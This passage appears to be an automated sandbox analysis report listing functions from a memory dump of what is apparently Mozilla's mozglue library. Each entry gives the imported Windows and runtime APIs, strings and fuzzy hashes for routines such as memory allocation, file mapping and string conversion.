Opcode Fuzzy Hash: 4e256f4e77b8dbb8735e394f938e02944a744d6fc6daf09faf590f45a473dd5d
Instruction Fuzzy Hash: F4A190306083429FDB00DF28C554B5ABBE9FF89748F18892DE899E7742D735D885CB92

Function 6CABC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CABC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CABC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CABC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CABC891

Strings

inf, xrefs: 6CABC78F
nan, xrefs: 6CABC7A8
NAN, xrefs: 6CABC7AD
INF, xrefs: 6CABC794

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: d23edc37bd7a5e88aa4dfa90615b298164b8f90056ac2cd938a3f11c1b4729ea
Instruction ID: be3d32d051d560a8d8437ec5830c312df66c16b8fdd62ef2821cd2e4780b06bd
Opcode Fuzzy Hash: d23edc37bd7a5e88aa4dfa90615b298164b8f90056ac2cd938a3f11c1b4729ea
Instruction Fuzzy Hash: 94519470A087808BD700DF6CD58569AFBF4BF9A308F044A2DE9D5A7650E770D9C8CB42

Function 6CAFAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CAFAC52
CreateFileMappingW.KERNEL32 ref: 6CAFAC7D
GetSystemInfo.KERNEL32 ref: 6CAFAC98
MapViewOfFile.KERNEL32 ref: 6CAFACB0
GetSystemInfo.KERNEL32 ref: 6CAFACCD
MapViewOfFile.KERNEL32 ref: 6CAFAD05
UnmapViewOfFile.KERNEL32 ref: 6CAFAD1C
CloseHandle.KERNEL32 ref: 6CAFAD28
UnmapViewOfFile.KERNEL32 ref: 6CAFAD37
CloseHandle.KERNEL32 ref: 6CAFAD43
CloseHandle.KERNEL32 ref: 6CAFAD67

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 646e734bdfc91e16494f231e1be3e858c008a66627b5148000fb872ea1fda407
Instruction ID: 7bc7e34cdc60176546c4d15618e28dc9f506c3b0d6e8ddbbd1862619ea315dec
Opcode Fuzzy Hash: 646e734bdfc91e16494f231e1be3e858c008a66627b5148000fb872ea1fda407
Instruction Fuzzy Hash: CB3172B1A047448FDB00AF7CD6492AEBBF1FF85305F01492DE99987711EB709899CB92

Function 6CAA9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAA9675
__Init_thread_footer.LIBCMT ref: 6CAA9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAA96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAA9707
__Init_thread_footer.LIBCMT ref: 6CAA971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9773

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAA97B7
FreeLibrary.KERNEL32 ref: 6CAA97D0
FreeLibrary.KERNEL32 ref: 6CAA97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAA9824

Strings

NtMapViewOfSection, xrefs: 6CAA9701
ntdll.dll, xrefs: 6CAA96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAA9670
MapViewOfFileNuma2, xrefs: 6CAA97B1

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: b1185be3be2dc392d6e8365d5647f730d874ead4560acfdba2093e8ce93edcea
Instruction ID: 47324a6d0cb425c6d9680d57492a29959bc5ab08961fc09f8b602cb6d6c91503
Opcode Fuzzy Hash: b1185be3be2dc392d6e8365d5647f730d874ead4560acfdba2093e8ce93edcea
Instruction Fuzzy Hash: BD41DFB5704205DBDF00CFA4EA86A9A77B5EB5A328F044528ED1587F40D731E859CBA1

Function 6CA91E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA91EC1
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA91EE1
EnterCriticalSection.KERNEL32(6CB1E744), ref: 6CA91F38
LeaveCriticalSection.KERNEL32(6CB1E744), ref: 6CA91F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA91F83
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA91FC0
EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA91FE2
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA91FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA92019

Strings

MOZ_CRASH(), xrefs: 6CA92000

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: c0d7104f0a2f75fe14f0e2fae806ccdb152b225bc697d8944b4705b3ff11c340
Instruction ID: 3a76d8c9306a2e7bdaf1c483e16dfe7ce8d65fefaaba35be0f628270080f3ed8
Opcode Fuzzy Hash: c0d7104f0a2f75fe14f0e2fae806ccdb152b225bc697d8944b4705b3ff11c340
Instruction Fuzzy Hash: 9541E7B6B043598FEF009FA8C88AB6E3BB5EF59308F040129EA1597F41D7719844CBD1

Function 6CAA7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA7EA7
malloc.MOZGLUE(00000001), ref: 6CAA7EB3

Part of subcall function 6CAACAB0: EnterCriticalSection.KERNEL32(?), ref: 6CAACB49
Part of subcall function 6CAACAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CAACBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAA7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAA7F19
malloc.MOZGLUE(?), ref: 6CAA7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAA7F4D

Strings

d, xrefs: 6CAA7F89

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 920bf5f04f09a82baed2202f68581d2fd4349a8cab7ebd29387f26c2f360cf5b
Instruction ID: 5101d58d5b3c84479d89bcc03e56730ce7fc3effa5bbd3f77097590381f43811
Opcode Fuzzy Hash: 920bf5f04f09a82baed2202f68581d2fd4349a8cab7ebd29387f26c2f360cf5b
Instruction Fuzzy Hash: AB311861F003889BDB019B78DC055FFB778EF96208F449628DC4997A12FB31A6C8C391

Function 6CAA3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAA3EEE
RtlFreeHeap.NTDLL ref: 6CAA3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAA4006
RtlFreeHeap.NTDLL ref: 6CAA40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA40C2
RtlFreeHeap.NTDLL ref: 6CAA4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAA3CCC), ref: 6CAA4157

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 872549fd1eac52a10d9b2acf0dc5d5fc7b37ff75f545b74f1ae44216cd49cfa0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 3DA17FB1A01215CFDB40CFA9C880659BBB5FF48318F294199D909AF752D775E886CBA0

Function 6CA92030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CAB3F47,?,?,?,6CAB3F47,6CAB1A70,?), ref: 6CA9207F
memset.VCRUNTIME140(?,000000E5,6CAB3F47,?,6CAB3F47,6CAB1A70,?), ref: 6CA920DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CAB3F47,6CAB1A70,?), ref: 6CA9211A
EnterCriticalSection.KERNEL32(6CB1E744,?,6CAB3F47,6CAB1A70,?), ref: 6CA92145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CAB3F47,6CAB1A70,?), ref: 6CA921BA
EnterCriticalSection.KERNEL32(6CB1E744,?,6CAB3F47,6CAB1A70,?), ref: 6CA921E0
LeaveCriticalSection.KERNEL32(6CB1E744,?,6CAB3F47,6CAB1A70,?), ref: 6CA92232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CA92253, 6CA92268
MOZ_CRASH(), xrefs: 6CA9227D

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: ebafd8aff878614c53a5dcdb0ab7b3b252df40526cb736acae7ee5040a16b48a
Instruction ID: 22ff24b34d0d9de82ec249eb6ed17379e01b6a707d95b03aedc31bd93d1849a0
Opcode Fuzzy Hash: ebafd8aff878614c53a5dcdb0ab7b3b252df40526cb736acae7ee5040a16b48a
Instruction Fuzzy Hash: 9761D132F102168FDB04CEA8C98AB6E77F5AF95318F294239E524A7F94D7309D80C791

Function 6CA948E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CAD483A,?), ref: 6CA94ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CAD483A,?), ref: 6CA94AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CAD483A,?), ref: 6CA94A82

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CAD483A,?), ref: 6CA94A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CAD483A,?), ref: 6CA94A35

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CAD483A,?), ref: 6CA94A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CAD483A,?), ref: 6CA94AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CAD483A,?), ref: 6CA94B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CAD483A,?), ref: 6CA94B2C

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 9fc00608c47a812fef713db582b9bd8ca1c38402ef31469b98a4e66d910486ff
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 79716DB1A107069FDB14CF68C581AAAB7F5FF09308B10463DD16A9BB41E731F599CB81

Function 6CAE9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAE8273), ref: 6CAE9D65
free.MOZGLUE(6CAE8273,?), ref: 6CAE9D7C
free.MOZGLUE(?,?), ref: 6CAE9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAE9E0F
free.MOZGLUE(6CAE946B,?,?), ref: 6CAE9E24
free.MOZGLUE(?,?,?), ref: 6CAE9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAE9EC8
free.MOZGLUE(6CAE946B,?,?,?), ref: 6CAE9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAE9EF5

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 19674ee7c4ebe01e954ee48c8a87fdad08f3e51b8a50d24808172206c7b283f1
Instruction ID: 0740867c6ec3112fc3516a79f812d7cf56ca7253d019c76197e7c279f2139207
Opcode Fuzzy Hash: 19674ee7c4ebe01e954ee48c8a87fdad08f3e51b8a50d24808172206c7b283f1
Instruction Fuzzy Hash: 43716E70909B419BD712CF28C68059AF3F5FF99315B449619E95A5BB01EB30F8C9CBC1

Function 6CAEDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CAEDDCF

Part of subcall function 6CACFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CACFA4B

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDE0D
free.MOZGLUE(00000000), ref: 6CAEDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAEDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CADDEFD,?,6CAA4A68), ref: 6CAEDF32

Part of subcall function 6CAEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEDB86
Part of subcall function 6CAEDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CADDEFD,?,6CAA4A68), ref: 6CAEDF65
free.MOZGLUE(?), ref: 6CAEDF80

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 127867fab54b53b77dd84ee19d7d45d0878a3d4348b51567aceab7e67a39f0f4
Instruction ID: 9fc19b22af7e786f061821b09097b7930d864a435de5a26941270694a8bd1b68
Opcode Fuzzy Hash: 127867fab54b53b77dd84ee19d7d45d0878a3d4348b51567aceab7e67a39f0f4
Instruction Fuzzy Hash: B551C672E016009FD711DB29D9846AEB376BFD9308F99052CD81A63B00DB31F999DBD2

Function 6CAF5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5DC9
std::_Facet_Register.LIBCPMT ref: 6CAF5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAF5C8C,?,6CACE829), ref: 6CAF5E45

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: d10792568c36a6677bf443f3ef4741b86d66295f8b213c853bb23a2b4ba899cf
Instruction ID: f702f3d5b1b4f5ffe649e66dbe9b3a7b9577fa6b488dec62a4deaf180fed0085
Opcode Fuzzy Hash: d10792568c36a6677bf443f3ef4741b86d66295f8b213c853bb23a2b4ba899cf
Instruction Fuzzy Hash: 0C41A3747003058FDB04DF65C8D9AAE7BBAEF49314F084068E51697B91DB34EC46CBA1

Function 6CACCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA931A7), ref: 6CACCDDD

Strings

<jemalloc>, xrefs: 6CACCF9F, 6CACCFB3
: (malloc) Error in VirtualFree(), xrefs: 6CACCFA4, 6CACCFB8

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 3b2b67c025dbb0c58df664bd259af9d61601dd5fdef5e5de8d935f47e870dc6e
Instruction ID: 8772282ee462b6b07e257ef0ffac1dce302816bb59625db84c4ac147055783f8
Opcode Fuzzy Hash: 3b2b67c025dbb0c58df664bd259af9d61601dd5fdef5e5de8d935f47e870dc6e
Instruction Fuzzy Hash: F331D4717452056BFF00AFA98C46BAE7B75AB4675CF344019F611ABF80DB70D580CBA2

Function 6CA9ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA9F100: LoadLibraryW.KERNEL32(shell32,?,6CB0D020), ref: 6CA9F122
Part of subcall function 6CA9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA9F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA9ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA9EDCC
CreateFileW.KERNEL32 ref: 6CA9EE08
free.MOZGLUE(00000000), ref: 6CA9EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA9EE32

Part of subcall function 6CA9EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA9EBB5
Part of subcall function 6CA9EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CACD7F3), ref: 6CA9EBC3
Part of subcall function 6CA9EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CACD7F3), ref: 6CA9EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA9EDC1

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 585b733e516672106d871cad38b10c5a5deb17c6299eabbca7e57a8c780e87e9
